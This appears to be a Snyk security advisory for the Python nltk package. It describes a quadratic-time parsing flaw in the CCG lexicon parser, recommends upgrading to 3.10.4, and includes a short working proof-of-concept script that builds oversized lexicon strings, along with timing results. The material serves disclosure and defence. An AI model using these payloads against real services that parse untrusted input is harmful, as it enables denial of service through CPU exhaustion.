Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade nltk to version 3.10.4 or higher.
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via quadratic-time string processing in nltk.ccg.lexicon.fromstring (also reachable as nltk.ccg.chart.fromstring). The matchBrackets function re-slices the remaining input string on every character iteration (rest = rest[1:]), and augParseCategory re-copies the regex match tail on every operator step, both producing O(n^2) CPU cost. An attacker who can supply a large CCG lexicon string - either with a wide flat bracket body or a long operator chain - causes sustained single-threaded CPU exhaustion, blocking the parsing worker for tens of seconds per few-megabyte payload. The existing MAX_PARSE_DEPTH recursion guard does not protect against these flat-input quadratic paths.
Environment: nltk 3.10.3, regex 2026.9.10, CPython. Run the parser on the shipped public API.
import nltk.ccg.lexicon as L
# Vector A: flat bracket body -> matchBrackets tail re-slice is O(n^2)
n = 400000
lex_a = ":- S\nw => (" + "a" * n + ")\n"
# Vector B: long operator chain -> augParseCategory tail re-copy is O(n^2)
m = 32000
lex_b = ":- a\nw => " + "a" + "/a" * m + "\n"
import time
for name, s in (("A", lex_a), ("B", lex_b)):
t = time.perf_counter()
try:
L.fromstring(s)
except Exception:
pass # downstream parse error is irrelevant; the CPU is already burned
print(name, round(time.perf_counter() - t, 3), "s")
Negative control (":- a\nw => (a/a)"): ~0.00007 s
Vector A (matchBrackets, flat body): n=50k 0.078s | 100k 0.260s | 200k 1.046s | 400k 2.083s (~4x per doubling => O(n^2))
Vector B (augParseCategory, operators): m=4k 0.078s | 8k 0.215s | 16k 0.485s | 32k 1.329s (super-linear)
Note: The PoC states it runs on nltk 3.10.3, regex 2026.9.10, and CPython with no further environment constraints.